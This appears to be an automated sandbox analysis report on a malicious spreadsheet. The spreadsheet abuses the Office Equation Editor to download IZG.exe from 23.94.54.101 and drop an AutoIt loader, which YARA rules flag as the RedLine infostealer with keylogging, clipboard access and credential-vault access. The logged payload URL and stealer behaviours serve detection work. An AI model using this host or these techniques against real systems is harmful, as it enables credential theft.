Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-05-02-02; NID=513=lpyXZCtY4-f7RTQqITZzyfksHw8iVb8BjmhLRGhw22-oS5CYqo5Qf1n0WYSogBsLbVqyXW3EfQ34ZtB3eifVWsUeY-l_NgGeNuOYNvNaSG-Xrcu-BmWdwT6QAXyGGDBWCBmdSK8blzs9R5owObV2uBTanI8aQO5FG6WgAkohuMA
Source: global traffic HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/ddljson%3Fasync%3Dntp:2&q=EgS_YJbhGKiDzLEGIjBAUeVDNkDlIZK5bJjKqxg5bm1WdYDjlLN5FTPlXAMxmGzLgqn1-pjmnO28YPm4sx4yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-05-02-02; NID=513=lpyXZCtY4-f7RTQqITZzyfksHw8iVb8BjmhLRGhw22-oS5CYqo5Qf1n0WYSogBsLbVqyXW3EfQ34ZtB3eifVWsUeY-l_NgGeNuOYNvNaSG-Xrcu-BmWdwT6QAXyGGDBWCBmdSK8blzs9R5owObV2uBTanI8aQO5FG6WgAkohuMA
Source: global traffic HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgS_YJbhGKiDzLEGIjDtjnMJodbdiXF-HQ_fQDkAxnKugxL_IiaU5Bdf1yGe-xSVBDfYF_nK-idk43_IHf0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-05-02-02; NID=513=lpyXZCtY4-f7RTQqITZzyfksHw8iVb8BjmhLRGhw22-oS5CYqo5Qf1n0WYSogBsLbVqyXW3EfQ34ZtB3eifVWsUeY-l_NgGeNuOYNvNaSG-Xrcu-BmWdwT6QAXyGGDBWCBmdSK8blzs9R5owObV2uBTanI8aQO5FG6WgAkohuMA
Source: global traffic HTTP traffic detected: GET /IZG.exe HTTP/1.1Connection: Keep-AliveHost: 23.94.54.101
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundCross-Origin-Resource-Policy: cross-originContent-Type: text/html; charset=UTF-8X-Content-Type-Options: nosniffAccept-CH: Sec-Ch-Ua-Full-Version-List, Sec-Ch-Ua-Platform, Sec-Ch-Ua-Platform-Version, Sec-CH-Prefers-Reduced-MotionCritical-CH: Sec-Ch-Ua-Full-Version-List, Sec-Ch-Ua-Platform, Sec-Ch-Ua-Platform-Version, Sec-CH-Prefers-Reduced-MotionVary: Accept-Encoding, Sec-Ch-Ua-Full-Version-List, Sec-Ch-Ua-Platform, Sec-Ch-Ua-Platform-Version, Sec-CH-Prefers-Reduced-MotionDate: Thu, 02 May 2024 02:59:48 GMTServer: sffeContent-Length: 187622X-XSS-Protection: 0Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: EQNEDT32.EXE, 00000002.00000002.457837834.00000000002EF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://23.94.54.101/IZG.exe
Source: RegSvcs.exe, 0000000C.00000002.620104008.0000000002761000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.620104008.0000000002858000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 0000000C.00000002.619916072.0000000000530000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.619992172.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.620190248.0000000003761000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.dyn.com/
Source: RegSvcs.exe, 0000000C.00000002.620104008.0000000002858000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.
Source: RegSvcs.exe, 0000000C.00000002.619916072.0000000000530000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.620104008.0000000002761000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.619992172.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.620104008.000000000281C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.620190248.0000000003761000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 0000000C.00000002.620104008.0000000002858000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org/
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49179 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to log keystrokes (.Net Source)
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, abAX9N.cs .Net Code: _7wfqbBU
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C1EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 3_2_00C1EAFF
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C1ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 3_2_00C1ED6A
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C1EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 3_2_00C1EAFF
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C0AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput, 3_2_00C0AA57
Potential key logger detected (key state polling based)
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C39576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, 3_2_00C39576

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: sheet1.xml, type: SAMPLE Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 12.2.RegSvcs.exe.37b7770.6.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.530000.3.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.300000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.300000.1.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.3766458.7.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.300ee8.0.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.b6f2ae.5.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.530000.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.b70196.4.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.3766458.7.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.RegSvcs.exe.37b7770.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.RegSvcs.exe.b6f2ae.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.OIU.exe.de0000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 3.2.OIU.exe.120000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.RegSvcs.exe.b70196.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.OIU.exe.a40000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 7.2.OIU.exe.6e0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 12.2.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.OIU.exe.360000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000003.00000002.457795747.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000C.00000002.619916072.0000000000530000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000005.00000002.460633124.0000000000DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000009.00000002.464011217.0000000000360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000C.00000002.619889469.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000B.00000002.466866889.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000007.00000002.462329527.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Binary is likely a compiled AutoIt script file
Source: OIU.exe String found in binary or memory: This is a third-party compiled AutoIt script.
Source: OIU.exe, 00000003.00000002.457891140.0000000000C62000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_5a728d17-0
Source: OIU.exe, 00000003.00000002.457891140.0000000000C62000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_7f8a3710-9
Source: OIU.exe, 00000005.00000002.460606758.0000000000C62000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_43f1efc1-2
Source: OIU.exe, 00000005.00000002.460606758.0000000000C62000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_7e78ced3-6
Source: OIU.exe, 00000007.00000002.462376240.0000000000C62000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_0efa1f0e-d
Source: OIU.exe, 00000007.00000002.462376240.0000000000C62000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_78eabdf2-8
Source: OIU.exe, 00000009.00000000.462193481.0000000000C62000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_62c442ec-f
Source: OIU.exe, 00000009.00000000.462193481.0000000000C62000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_f77bbe4f-d
Source: OIU.exe, 0000000B.00000000.463951101.0000000000C62000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_88cb759e-8
Source: OIU.exe, 0000000B.00000000.463951101.0000000000C62000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_fc8bf7c3-9
Source: OIU.exe.2.dr String found in binary or memory: This is a third-party compiled AutoIt script. memstr_00ed84c1-5
Source: OIU.exe.2.dr String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_ae5f0cf3-4
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\OIU.exe Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
